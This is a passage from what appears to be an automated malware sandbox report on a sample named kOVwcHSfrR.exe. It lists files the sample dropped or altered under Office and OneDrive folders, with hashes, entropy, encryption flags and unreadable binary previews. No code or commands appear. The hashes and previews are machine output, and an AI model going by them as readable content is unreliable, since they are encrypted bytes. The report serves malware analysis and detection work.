Preview:	.<?R).,.._..W.g[P.f_j4.9f?_.ka..P..o....fh.$...].=...]W.6.....S.6xjm3..M.c....VX]....7.._YYV...W..M,,.......C&0..q.......V.....d{)H...}U +g9Y..../IA.....^...0......P.\g.f..j..(..[......x.....kv`O@#...;2.(.=.(..w.w.{.,.......\..../...%{2~....(....X.@....@.A..=y.......B]......./.@j.V.._..6.1I.>....i.+....yjZ@'R.a}...D...W7.O.q.g.sMdLP....."......8..2&.I&r.".]J...)....g@.^.P.......X......E.i...g7t.:.I...y.&...GIUE.^...@..<.>..G.!..4..f.0.....1X..x"X......H..ITG.Jj.....=.1 ...ZU..............f._v ....h.1.u.......%9.\|on....a...o.=..E..w]...w...U.Ze...2..52..x..0._+9...1=..pP..1.]}1...2>..Q.L...\.s....Nn.L.OH.S...T..?[JF.Jb..;N............J...#.P.qx"&.&.6".+.y.3.!.9.3m.S..#0O3..V$..L......U.m.u.!.uI%t...XC.........N.~X.c.B.g.a.0.iaa..d.:.bf.U...b.B'.K...m.Kt......A....e....D..GY~..).V...IG.......T..a&...2.e..F...h.\|\|yy!...........P\|\.zq.........`D....T...../.[.....\.......d3..)..V.oZo.c.8...k;ob&.)p..=...I^...L.W.Q..u$...[ .TB....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704200v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1714
Entropy (8bit):	7.886011073718127
Encrypted:	false
SSDEEP:	24:kECncur7g8RxcZmwnplBc2swiQmPnrfr3H2xPAl5zVnIVhONJIzA2dbM01iw1bD:kECnckRxct+BIibWs2biJIzAkM0QyD
MD5:	422C11F657E502DC1B8417EF2CE01E15
SHA1:	C7E5544FB54B30DD0FE7B59FA5888E053E794103
SHA-256:	A2E977A71635C8C50FF65E9E233D85EFE4E3990B2EC33A93C4794AC709B6F340
SHA-512:	3629612653B8B8529FCC3A2EA3A7AEEF6145254A39342DB8EE88B8797CF114725FA3088850B52E99F72E1EB297A8B8CF1464415DB555F19FB46AE8EB01B99875
Malicious:	false
Preview:	.<?+...\d0m.x{%=a..n..{...;....\|.\|.0<......`U.+L.bL...&.{^..W)]..y:".}E....j84U.....~.. @..F:.....`.H~..p..^k........J.k.....S.9.p.~...F$y..ky.$..m$.I..W..b....g.0.Go7..S`...jS-#...J.^L.....t.....(8.6...e.?...v..._,.$X..p.p..r....Ln..a..)...PT..F.x.e....[...BZo.C..$..R!'...)..Dk..j.5.Iy..'W....0.E.lHw..9q.PY...M...S..].A.SX.bi.>.hW..Y1E.a.!y..@...S.!.e.J..9...K<w..........O...i.dy..S4..z......YC.....\jp....4o.P..~......88.}..q.B.2.]......."u.....7in.=.........%...........f...N.....5.IKCd..W.L5<.NH.~w.$Sn.{6.?..K...f.<>.\J}.9T$.c.]H\|..yY..?..~.{66).......#j....%47...i...f8.y......{..#.....X..{.i..>~.A.M...>Zk..prA..t.1..3...v..R....'.,..%s..-..".e..{)Y*..."...>.ul.&..4.+....{..6......9.S..-.J]..j.pt..3.c.3....\......."...r.:.z.....>......$....T..lq....f.....W.....&..j...Ti.N..3......\.E+...U.n......z...j..c1..&...f.e...Z....3f..;.u../hD.&zAR3......43.=.0.'4\.....Jc..C.....j{.)....q..H...QWP..D..@.y_8..../.....,V......tQY9.g.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704201v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1751
Entropy (8bit):	7.902269422793456
Encrypted:	false
SSDEEP:	24:zJKWRZ4Mu8ClZ+ZKyI2lHT0N3Nf5q7iTmk6uTDR0mpA/TbLWKAcvgFPbSkc+ZdKJ:FR5CjEKyItN9fIeTo0D9mLbyKAu+NyD
MD5:	7B89D3B700F828BD6C8177F7A931AA09
SHA1:	B8D7EF0EE3AA2739FC4EC694A658791C4B12172F
SHA-256:	18F79730B30B6CAD4F3F4BDF31D03E1C1C941D7AB154F7181B4DFCF072C16D65
SHA-512:	1991A8AC296BEEB0A2121224672EB2760082DB6E340161FB9FD07D118C5EB8B8757F2C47CC2AAC8029DB5959CE139CABED5947D730CA3A57167FB57862B2FE03
Malicious:	false
Preview:	.<?.]dt.$fga..\..zt...,.z.......<.v...p8.W.......J....0....o...ZY.`Y......j.........C..y.1.......o.m.4....#......B./.{...$.....X.#V8l..>L.Y..\....:GM..JG.4V.z...s..$........B.k9}..LU,6..f....6y....AW.P.}.....C...W../p........2".e....K."..i....+..rO.H..(.b.1.T.$R..E.q....-..C.....iS;...]mZ.J...f.C.U....;...S`..Us..Z...[...Y....C.....(.......).E....d...S..H..V..p. .~K..=.0..4x.....5..Q..YId..QE#z]...........9U...&/N..,.5z.\|.....1.R......^.9.... G...[...B.O....S~.b....@.I...Io.[...fV8...vl.-.{.(...3}C^.p.s\i..\..R..caV>t..Y?.?&....M...+.i.c.....".r..6.Z"-.k....+.&.F'.J..8.>..$.t.)..>....[.n) .4.....l<d..B.:......_.6..D.;.Xi......s...^2..t6.Z..-.\|......O.k-..W..*..&..k.K)............n.....u.f....S..2.dR..{.&zA.c.#...w....E...g..(..N.R.gb....d...s.\.w...7%I......=.x...}.tK3\G..N.a...k.Y.2{.N.L!%G.)..\|s\.f'..,.O...<..H)....G4v.%H..:...G.c..lK.. ....i....=..IE..&}....L...tI....,.).. R.d..%Y..eh..E.:.n.6.(.J{E.G95yJ......'}[...s.7...,.+

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule90401v3.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1583
Entropy (8bit):	7.8560083844379305
Encrypted:	false
SSDEEP:	24:w62zEicBdKBUFMfMZWhyMFz9S9VaXYj+zY7xpMy2HbeWnPrhsJ8QeiXMaDpRw1bD:w6tikETkZtQz9SBiY0V+JJei7yD
MD5:	1CCB97C1CFED090B37B141B5DB8061F3
SHA1:	948558B3F159DFF17D8A85454742F4304FCC1673
SHA-256:	5C8AC94B7F15B0224C3638B91226297CCEBAC77B4B2F262A08D6710426C59D64
SHA-512:	3DCD35161028C480A1D224D6916F3CB00CA3D99C8E366CC122F96BCD7954ADC4BD5191111ACFBA283A7DFD273BC3B06D0A44042B558E9E337AA807C0AD225847
Malicious:	false
Preview:	<?xmlM...U.t.$..4..x..^rj6.$..?.)."..J.....e.=Hx...S..g.O:.P2...I.7..$jO$..c.$..,P..0.v....,9.go..iIi<....+..f&.v......0x.xc.Q..,xz..@.#.....3..y..$`..Hn.X.Y~Gz<....F.U..."1+..rl..#..$.....z...e....WB..._.T...;....a..8f..b.3kL...F{.u..).S...z..<C...[\..U....&.(....8; ..y .xN.D!..]...2...t.._f...j.wj..A..4...70.K..M....1v.a..y@B....KZ2.]6A..Ca.tjGG{.....C@{!.>D....._.D..5...Kr...l....l9...7R6..l.e.......+K...t.2.N..:.1!OO.q./..N#~$.c.D..%4..G...0..AC..........F...p}.v..cu.)x......d!...........i`\.... \|8.....O..A).o...9...7x.:.I..L..s...j.S\|..yeI..y.+..5...c;.(.#S...o....I..@....H..fH....v:!,.....?t..,I....8v.....WP.~.0.Fc).vUZ..8;]H.V6..9.".YN.Q.b.+...z.hCT2.C.2..N...p..U.y..}3..d.h.&_.....*............!...D"1A_...g..(."JN.....1...De..)..........\|.....0..z.\FI#B`ze....t.Ao...I...UiG[...Q.Z...EL.........t..m.;s6UB..>>x.WG.)..<;.I\+....0\|.....n..0.Q.L.>...Y'..g./iw.8K..\..y..9CR.i.E.7....{Q.\|.I.K..)(~C.8.........Sf...1.ZGv.lS..

C:\Users\user\AppData\Local\Microsoft\Office\Features\1-7FeatureCache.txt

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1098
Entropy (8bit):	7.828790001760335
Encrypted:	false
SSDEEP:	24:xQlkOg3k8HffNPh8WTxDG9SmaIVaimgvPhA5Tufgw1bD:mkXHfVs0IVtvG5ByD
MD5:	46A130310D22CF24D817757C5C6B27CB
SHA1:	686AD55258352D859BA92231E73816C1D917C936
SHA-256:	22E820652CE9975E9B9107ECA1E91A3655C78AED88B523B39575D3C8CF686ED3
SHA-512:	173FB0677B850057024F56C56AA8A5E92B56431A95307C2B79532DDFF23DF0E7B0D8F1B3EA7C7DE727C80698204914317228DCDEDBC364AE6B5E90275F7EFA1E
Malicious:	false
Preview:	3.7.4=`U..c...U.IE..#. .=(..~G......D.......i.{.>n..c...b......$e{C....b.A]D.w...x...$(.........O\....PV.A#..bh..;.p.X{.....0.?.......\|/.G....{..@..G...8"( .x...DCn.J..9.E..h..P...5k6.....P..=M.0...Hi.MO.`?.p..%.....j.8$..h4."R"..5..]cF..y.Nj.J.,+u^..5.N.\|....=....aN...x.[.!..M...Wv.,..q0X...<.So.W>P.<c.z..t..Xn....i....UGL..dM..`..z...B..Q\.9.(+."..,..H&6..$.%-6.H...3...:!..C...<....m>[..X.)#..U{..f#`Z..9.0...Lq...q...:.4.k.G..Fv..h=.qD.p..c.]aF.J..g/{....c.:=.>G.:.......w.l.'eT=(sD.,..&...pO..D..-.. ..~. .,N..:..)../.'M..ac...-'+~"z..n..ng....@.2x......~.q..Tg..5..H.L...E.....d....!4./.X.6.5".Ph..\M.xVu...WY.G..)P.j.@..7..n.?K^...5_.-..H...7.a.HE......'.S.....B.8.u.<.=...jU...z&..u..L...+....sz.....T.B..v.._hZ.(.F.b.5f..N,.......O:.&,...%o.../..N...JbuN.D.9...!..\..."......Q.v...w.......j...!....oq3..R.._gn.X\|.k.$.o..vDP.B.........G......'.....c....Ra.Ul..\d....X.&E..*..c..+b....+e 5d.\|..........`v(..9.;.R..[..}U..%\|...G.....A..:i.

C:\Users\user\AppData\Local\Microsoft\Office\OTele\excel.exe.db

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.992858060579179
Encrypted:	true
SSDEEP:	768:88LEEqObvjF62LQf1A7VYZUVIaKkLBzKtLkaC7:86E+bvY28fA6Zk8tL8
MD5:	6E8863A207B32C4EB182D9F96B63DBBA
SHA1:	A9DD2EE44FC87BC6BB1D9FD53A7F43AB81A43DA3
SHA-256:	75DE5AE5FA37D1E68E232B466481B3768B439B598A27488A6AA2E0B5501684E5
SHA-512:	A6574AE5248BBB99D33820D5E9FD5A16694E3CD71355643299ACED372DF689C33B3CA2C4E87F217EB4D65C460D096DB1C9DE86D9469826E6093A458751509D02
Malicious:	true
Preview:	SQLit.(s..F..K.8..a...P..2.;.'.....N..OyM..G..Y.e..<.OZ.L.].D.3K.{.M..&..Th.nO..z....Z.^.9...G.....ew.....\...../r...Du!..M.W...#%%.;.N.<[u..X..?.F./"..\|P+.......U.:..w(......qp....6C<..P8.D....3@z.!V0bEo1..j..(j.G...n..Y...m.I.`M!....Q.\|.p.a-%.?.[.rG".R......\&1.-..^Tc4.}.b..^.B......B.qP...4.]....y#O.....=...;2/?.\W>.h.f8Vn._...r.....~.M..T...W-.,:e...D?.Y.F..K.QJ.Ik..7.Q.../U.\|\v...El.p.Y.@;...L.K.\|%?.cHf}O7.....4....J.....F.......u.R8Y.....ot....P.0...;...A.F...`.7p...oJ%U.....T............#x..[..K_~0...6.R.f!.......X.A}.....Td.3....;4V.......&..=..@z"...W>N..(%b._..mfh....<.'b.\|.1..Uc..+...e... a......\|/.!F...a.....L..gk...%...l..{[...r'...3...j.Y.2[...{?..../.r..5Bk.D.X0:...j......B^....PL.(Yw)...Ye.d.}_.VF...].\|..a.RX........./gP./......u..5'..DP.k.b.<ReX...~...6x}..(.._...$.6..U.I.7.....j..U.'z\.(.qvr.H.jt..$B%.'3....6.#....+e..".1...~.s:G.S.ni.....}."zO,.V..n.i.D.-....t....o.kK..J...!f.N...\|.hE.a..c..l#...... .[.Y5....

C:\Users\user\AppData\Local\Microsoft\Office\OTele\officec2rclient.exe.db

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.992567831028947
Encrypted:	true
SSDEEP:	768:BT+F1F3W+Ssz63d+gl3L4/A2MKiAvpe0AJ8:Z+F11+dGDMKLpUJ8
MD5:	CF959D12B01AD4D46942F1EC35B6BA17
SHA1:	67107656C40297D5EA6A266B718CBD8B4183B233
SHA-256:	72B56237347CE947248404884A6D831102AA093DC0ADDD5D8AFAD6674B754DDE
SHA-512:	CD1AE696DA1A6180D1E2426CCA2F81C92EE37BBED9FE0BA9950969B288DA2FB3C266BD6DE46D11472BB8B782A1D4FF11E2729A0F5584C5B0BD9CF55B454CB371
Malicious:	true
Preview:	SQLit.H2<.8.I.....V...^.v.T.......K8......'?...w. ...JOnE..!.]../..-.......Z.'....7....%/+3...p.\|H:..SUE..E.....FI.6+.{.a.!.`...1LE...'.y;.0.1.......7?.....z..dk[.\|.BA.@.n......EGS._..\..Yz.~.zcf.....[.K.,.K....B.'v.n].A=z......k.V.....$,.Rr-/.#...o.$......G<.=........y7T&..........;.jE.#=....0:....'4R..i.(.bjD..1#`. .].89.....!.)...LL.....JC..>.@5b...yC'c...s#..E....S....Q6....C,.)'...}.-.....s..}S.}3...I...%...-H..V..?.L.?...S;~.N.k/.#N.........KE....z..I..1(/....5. ...<6.j.Y..j.k..!..j..q.&H..isx"A.NN..E.T..B...U.v-.xZD....e[Q..\|7.S......QT.J.....u....V..:..4..8...(./F..].d.=D....L..5.fA....I.........NjX.Ni].?u.p....y....n....-qR..F#..JNx8...E.l........i8..}a...B....F^Q..h6aMV.[......]..[..+..K..h....?+..z.9.1....5...)....5.{(.P...Zt.F..f?..SY.J.....Y.LD....5.hI...l.hRtRE..d.6^..........."...vf.........7.....v.H....n.........BU....]..x{(.N...S.'p....P..B...5LR)........G.w..p.....U.\.:(..}A.3.......L....^D...-U.s....LP.O...J.

C:\Users\user\AppData\Local\Microsoft\Office\OTele\officeclicktorun.exe.db

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.9933959082436505
Encrypted:	true
SSDEEP:	768:iXTbJzLDoWAk2N6so7isvfbh/BAhZItgSZ+XQ2:ibJHs7jsvd/QIttAZ
MD5:	F61383DE497AC57F32291C35CF9989DC
SHA1:	8665A03828A4371C61360FEF5933BAA0D2B420B9
SHA-256:	D49599B87516EA0CEE7D9B8FB2007C728D853BAFBBE8CEA04340873A72A6E2A0
SHA-512:	EB2BD0B73066ACE100515C1C7084FC081BA722E4F1349639DD5FAD91C40AA8DBCFBE362B1122D96F604FB4E9D04C0FF6CE13E744A0026B8D40EE30DF8A811832
Malicious:	true
Preview:	SQLit.....%.B..4.....0.....[<E.....h}_K_A....~..{...:<......LDYS.r%..=..t<.@+..'3.-.Y...A........S......`......%..#nI.A.T.;2.......".i...w.s86.C.....Y.....R.n..k.......\..,..#.1..C..7-s.L4..ocm7r8....l..wQ..':.&\|...6..5.q.%.{.<.c.Q.w...b.;5R..A..7.cT.\|8.E......DG.gBn..?.1"..0.%....>cCmN.hp.Vw...a.`...DR..^....)R....k.g$...rL.8aW...tP;_w[L$..^..g..BD....f.....J+@.#!....Q.@ymyk.g...E...YF"....w..K..}'>..M......=......!.7.`.y.....T..0h.?e.C./.....e...}....5..(.Xj...\|...2..$,.88bM.O..c...eL....5.... ..r.(.]j.?.....I...4.f.$...7.^...h.u...>>.]h."....9..L.{(....<Q-Us.co... ].le.......m..N....XeY.H.H.wd.W.`S.Ss..r.HPs."..<Aq.S.R&..%.i....n.....\|...Nt-.<..1.`}.+#.".q.V.......'...sr`...>6.{..i..3Y.Wg.8...a..\|.<.X.).........@..j.E.g}}0&gxa...x...../k...S.,.p...b.q:h)1.4.....4...d.1.>.....-:{..f.#..tT....+.]..`.6../.t..<.........7.D.....r9.+..r<5....XE..{....Y.:.L...i....t.$..?..'~...1V\|..".\....%.Fd....8..P..3v.1....l......qzt.i.lD...t...w....w

C:\Users\user\AppData\Local\Microsoft\Office\OTele\officesetup.exe.db

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.993457706123845
Encrypted:	true
SSDEEP:	768:e7jcf1cz8qjx1FOYPKL41JGs4Nu66wtG3UD:8OK11FOrE1jwtGkD
MD5:	B0FF44357C58D09F86BCB12AC51830DF
SHA1:	3078FB933A98711FF1E69C6559F86C7C25F605C2
SHA-256:	EDB1FC7EF576C193EC31270DBAAC594971F1D6584995B35D5E21609372243303
SHA-512:	FB776508AF587B115AB75458C1B0FA71BB221B5B5B83E2B402AC884AB2F807652BE6D24E688D36637863185488F4D8E62E7C0E8798F10869852ED2EF93F1AEE9
Malicious:	true
Preview:	SQLit%c.L.\.Qa.I...Su.....bF.S.I^bR.t....s7.X.....>...n.......i.&.........Li.H/%..Tt...H...E..La.[wL`"+d.......CNr.............3H+s.S'u6...M.\....U.......##..........p.....*...H..B.z.........<. Yy.K,.l.3 U......."...x..5...<.IrM.d..,.7...c..".E.....=..q....QD..H..Q...M...=!\..MS.6.{..s....'!JP~c..-a...e)....x...t..9......{..".$H.m...\.A.....;$...h....o.imu9.kbC........".[..O.G....YZ..[q....g=N......jE.....:...y.Zq.G['....@....N.9..-..o]...O.lb-H.7>C...oq&Z...q.E_.....G.qcde.../.e^.$..........'.!.a.a.);..G.@.mi ..`.l..M.o..JK.Ut.....>.51.......QQ~,..z.y.........../,.]}.0/\|6.rC.....I...2..ZC..0... ....c..\|K}z.a..C.~]r.....Y}H.k..H.....+..n..../...Y...q...#GLK(D....f.[5...h}l.Ze...Z..^....#.f...S1...K?..z...~.Nb.......L......a..@\...w...@...}\|..+...X......k......}%{p..n....2.U..>.....Dd...0,.8..@.6..'....d!.l.TUL\|...X..T..4.D:Tb3.k..G.2Ej....\|\|AQ..o,.6..j....`0W.9......x\...8...WG.^.k...B..EP.=..+......^..@....us.I&...+J.....e2..g.B\|...

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-2023-10-05.0950.2384.1.odl

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.041764538162311
Encrypted:	false
SSDEEP:	96:2keAI8WdHZ/LzQf3nVQsJHMLIK8bvLB14zgHnpKyol71BJygyGGL5Al6:2FAKdH1U2sJH2ILb4o5ol71vyAGu
MD5:	A39A3A6D45E8D342DEFDA62020F3B7E5
SHA1:	4E8C4A42C0DC2F7A753027A967DC70DAD28CA042
SHA-256:	046D3C07E753811797D40BC4B4ADA056FAF508E8D44FFB82EFA9C718773CDE18
SHA-512:	60342DE5C6CCB27E8A24399EB0AC5C41245C407D30A99923B8FAD80474A33BC75AFA27BE15DD2595B7D6170DF76D9E12A9A423F239CA35E0A7C119A2EB8FB6D7
Malicious:	false
Preview:	EBFGO.......Y.....S...i,_........~.C.D...........0..9.........M$.3........t...z.!z.D....yi.yLf..Z.../.R.>x.)....t)x\....M.r..S..-R.kR.)@/..c....9.....-..i...K..s......&.8..,.]=.YDz.d..E.S..J....,u/..0Uw...t..R..k....9P)-hU.+..,Z.....>...x.......a..7:...H.N...."O..3.h.uR../$....uD/..I.z./.....=Q/.5.~...S...&>.U..0.b..$U..;.....u..... .o..Yj..4..!.......k...$.k.[.P.........{.L3a].zC.'..aq.N.2,Z.K....U.\|..c......XT&,....7'....B..l.Xy..b{xR[.4..r....Fo.JAbCMX..Pf....a..,;UH..(.t..............-.w.s.U....j..4.t8...R&._.T.U.,......Xo..).5\..#...........!z..'.#eW. .f)..M.g0^.=..(W.=..Q%M...Y.N....l...K.3.Lx............k1..{..[.G...B...i8.)...t......LkU..<..+;#..wUo.TG.h.e.].\.-/.........@p.$..P..i&..".\|}s5.$.C.`U...<.L../e.:s.0..%....n5.XR....cb..lN.i.B{....l.a..4::.q..+.>...*...T_...w.....r..B......p.U..PE.m...O~.].}}...._.....e>v.o..m1....H.....{H.......-...G.~.0.e.#.r\...i.P.1....F(.....=7..7........B.h.F.gL.5..Z@...){U......9.UQcr.F...

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-2023-10-05.0950.8672.1.aodl

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.2787539336455027
Encrypted:	false
SSDEEP:	192:W+DbZVBoFqZa1U7Vwb8Yjx+cxPg5e+I7VWYD0g:W+3ZfZk/x+yg5e+I73D
MD5:	A1F17B408CEFAC07E1FBB4EEFA1DB5CE
SHA1:	B67E1D70AE3E061A7827D3652B1FC06D5EB2A63F
SHA-256:	70ADA18CE2AE35FD102A89A6183C9FB75F311E3B828FEC3C27DFB8FA0FC470CC
SHA-512:	EFCF86D8CAAF240EDBA598E267C864C7F40029EED05A85D823B7CE72C85D90D5A72869209D0A32ACDF3656F57FEA78BD7F65AB603F135CEE59676414ED23F66D
Malicious:	false
Preview:	EBFGO......;....F..C.hn.}......M..n ".m;.f.Ui.N..RJ2W.G.#.:.\l.R..ik..@.B...T.....\|.\.O.=...m~>x.JD.'......,...Wnz.P.1..G......2....#............1c....o~.w...S.3'DT.sB....>..VO........7.P#...l.u.X....=l<.@..+#..9....p.[..&....5...{...Xt...p1....t..u.....8.hi{....B......%..+.b..v.MF[............f.....;<......g....Z....5+.....810.U@. .or.)..l.Q.]..j.n...6^.S..]`.1C..n.n-1..`...O.aA3W.....i1%.KK..+..z..$....UP>.G..5C\|.+.M..."......b\|..<.wr2....e2...F../.\.....Jc...;&.@G=^.D.}.l.S.(..?...e........p....5vh......s.QSj..3.sK.9t5"k..=.y....Ex...V../..\|..0....jI)..9'.[......BD"3\...,..XB....R.>..y.!..z....{.X.V..J_...5.!5.m.b.............Rxl.]..WN.c..*D.].?...n.....JDI.m/.2p8(".QE8^...#...+.b.')...)...q.....[H....j~2...u....x....O.mA..sr....zc.3......k.N..$..........X6.+.0..[..g(...i.I..9.....P..X...."{..Fi6T...f@f4hL..ATC..O..../%~H...v.U.e..ID3.T...hdk8.l94h..9..$......N8.v.h<#.DLs..,..V.n.J.g. .#.........EZ...v..@.n0....J..6.7.....

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-2023-10-05.0950.8672.1.odl

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.8945997111550086
Encrypted:	false
SSDEEP:	384:s8fIRQa0dPBM+KfnevtnZMATU1lOJkT+XP2IXoXd6/9Vsb:4RQJdP/ntZMAvOGP2IYXd61Vu
MD5:	48DBA206A4CC3D6F5659BBE36BA36282
SHA1:	9A1AF5E78105D7A1964F1E7D2F3C53C84DAF80C2
SHA-256:	77382B103CB9F017752480C1F90375AFAF264E534C6A4A6522F0BBBA060241FD
SHA-512:	5D4944402B573B89CD669803D43E8F26107ACE85CEB67231AA28E28796686284F5EF528DDB5400B2DA72674D2339393A3F944042E5255B53A2D85DAE3661A50F
Malicious:	false
Preview:	EBFGO.m.e10S....[..6Vi....>)!.g..#..)...}....W...@.u....F..m...q...kIf@N..\..(Bc_/....f.f._....(C....`..+.j..).}.2X............:....4To.7.cu,.\|.wp..[.Y...W..`..'..^.#8.G..8>....A.9...R...I.w.n.$......5:b...=...B.......'H..et.Gh....`.G.O..".eCc...}.v%..;.6S\|.k`......F>....f.....[....F....t.:)Y...G~.. .ii..y..a..$...X0..%..I..3=.7..W....(...h...1....a.......^.Q..k.v....Py.&dR..m^j..s.....0Og...j)`\x..).....HN...0`......"...%...J.#GF..{tdL7...J.e'4k...%a'.}.V......,..~',j..`...bT{.9(S.s.Q.}.o}..p>#:4.Ym..-.x...~.{.E5..<..t..N.....>~...Du..%Hg...o)..O.A x.J3g&..R..a....6..(6...G$&o1a.C....3.b..D.......\|D....-......mP..ut..I2.M.pd.......6M.w...d../.e....sm2+'O!......%~G:;pj..q.p.u......0.. ..PF7..\..A..d.t.oJ..z.T..\............g.}.o.V......R.n{DS...,.LwK0.!2..t..\|.:.K.z.).....jcQ.Hy.c.T.../...1/Z..0]`..~....{).V.~k&.3...........@F8...FD/.w~..Y\|.,l...v&..F...#.tM ...Y=.-...~........#...."..P.....r.f....7.`.%H.s.sx.JO......A'... .D.1..<.

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-PerUser-2023-10-05.0950.7664.1.aodl

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.68715940344644
Encrypted:	false
SSDEEP:	384:k6lBpkRAKgPhdSsj4lwGYU6++T/AHcgcsHxb10XMtAbKepBAjrz6PKeDkhPqV:bBppzPhdDxGHslsz08tAb/BqP6PKAkh
MD5:	9769FE5E7E40EEC77CEA3B3E7F29DF73
SHA1:	4402D90320FB499E2CA6F4DE1C8083B1F3F32D0D
SHA-256:	99EB06EFC7EE75660A95B2529FB031765819FF216657CA5862A9414276FF784C
SHA-512:	09F916B889DFBF34911B788346E5A4DB09976A64537CA3780B39DED99BC724E865F17E42F7912A7B6D3C659AED770FC119DDDB02F54C84965D86BD9F514CA570
Malicious:	false
Preview:	EBFGO.8.2. .&.=.......kh(.......L..(...A.1..Sy.`7....0])..i&............j.I.Ka.z..4a........6.!+.w......D^V...\|...2.Ow.K7.Yr.S.o.P&..6...:..w..Y......O..:_....\|D.d.......<:U..H..O..K...i.r.c."........(.i...D...2.l..e`&U....1... ..uV.o..-j..QkS;a.?..6Ca..Q.hez..K<..Bd.....N{8...o...cM..o!o.....pZ.../....S...k.C..1..........L..a.X.Ok.-R...'.........,Q..F...hg^..C.m.....@..<);.>..0QS.....5.h7>I.>...<...^..$.oR<..../....N..x..NOVO.b...HG:.B...B....k......xr..Y..C............x<.c4. .d...q\|...q.}.i...4..eRK...+.[............/t.....4..A....Y.l...l}..M...G..-..D...,........"...3?.u.+.3..K..4.l.%.......Z.k.M....sM..#RG....b9......8...a..V.5.>......)m.%c...A....ZfM(.w.j~<...D.{....z...>...H..M...........rm.'.N.....m.#.....b.....Q...9..@fr.....S.sl?...q....{.Y{t.5V..%."....w..}..u.th....0..2..U.\..u.....1I.N.X.....,........n....).y#....du.I.T...0H..!.{..w`.{...#.....{.J..M_Y.:. ....*.C..G.:....T....mw...._......Du.Q..i.....t..L....

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-PerUser-2023-10-05.0950.7664.1.odl

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.30660146794354254
Encrypted:	false
SSDEEP:	24:qKT7XmXyDFiNH88We3JxbDGyF5+isH7dkj3s26fgt9hOar72O9+zLw1bz:tTJSd33JxPB+JbB264dbv9Uyz
MD5:	AFF69623FBCB087A255CDD58C21D1AAF
SHA1:	B1A13E1ED63699665FCC172002C5D83608605B97
SHA-256:	C347EFF049E3DE3708691FDD8AB1B6239F8DB06111CA4DD47F88BC8EF793AFC1
SHA-512:	3440539EB77B60A8281F322C1389752B842E4EA9FB89A7F2388F261B6E41C5BBEEB3655FD3C2AA6D2FF25FBE2F9C8513BCFB86E7D453DB8741843632C7F6CEAB
Malicious:	false
Preview:	EBFGO...^.8d\F"\.b.$5&o~. ..Y...p..U...B...a.A..\p...-..........h>(&Iq......T..]...p..6....../...[.g2?...z..`B...,.G.d..9..._.&..-7}<qb..e1M...q.........Y..;...A.L.........m5......+.L....z...fJ..YPL....,.P.G.\|.T.bu..VV.........N.C...^4e...J9....D.W.......";ig!K....K#!...n.#..H...b.n...=.0b.3...V.....N.R" .u$G..<.]X..i.6...t.{..%D+9.J.sh.....U.Q.SK.......$..a N.Y...R..`.'v.>tF...=..C....c.....yJ..+6.6./..T.B...i.6O...Go.~.\|Fn.d..1.5...WH.ECp13.#.-..:.zg_\|.Y...C.8%.W.U.....#.r....[.....Ga#..Q@;-6...w.TnZ^.....F.cX...^....}....0.....&3..b......j(....JY.E;.Tm..z.....}.a..\.q.[.Wgl.{F....Thr.q.p>rU...w.......a....i..Jn.~.).N...%_.SMK...!....I .7.M,=....je..x.2N.....7y.....:$....Y.AL.6....v..S......4......u^V...i3..1vIQ......f(....P".x.XCAs..W.s~LW.\|..W..>.w....Z.dX..n.z....y...&e(G_{.{\|<-..g..>..L......N.6YS..h.zB{J..9..9...&.'...}...T....ed....4p.wr..5`........k....V..!ch..JXk.....N.....>..K.@r:....<u.4..#...P..I...}..+.....E...

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-PerUser-2023-10-05.0950.9200.1.aodl

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.0125802585744643
Encrypted:	false
SSDEEP:	192:2KODsYb5N5Bq8uwAA3JEIfl1oYrBqSzfu14u:jCRBQwAjo7tqS
MD5:	BE726A6FA80AA70D0774ED747CF5C4AE
SHA1:	B6F686A2D4F149DD327BDA7AB1AEF6B18D3FA8C1
SHA-256:	EEACE3F8F2D872144A0D281BF2E819A4634EED82D0D72BC7EF9D91616C58E828
SHA-512:	696D4AA951936E99F3AB3D710CA877632C73EDF02C3597AF03260689D90A102996503BE217F3B069CB6E8FC61A0DF826D09C1174B00CBAD95CE89B3567E8EA15
Malicious:	false
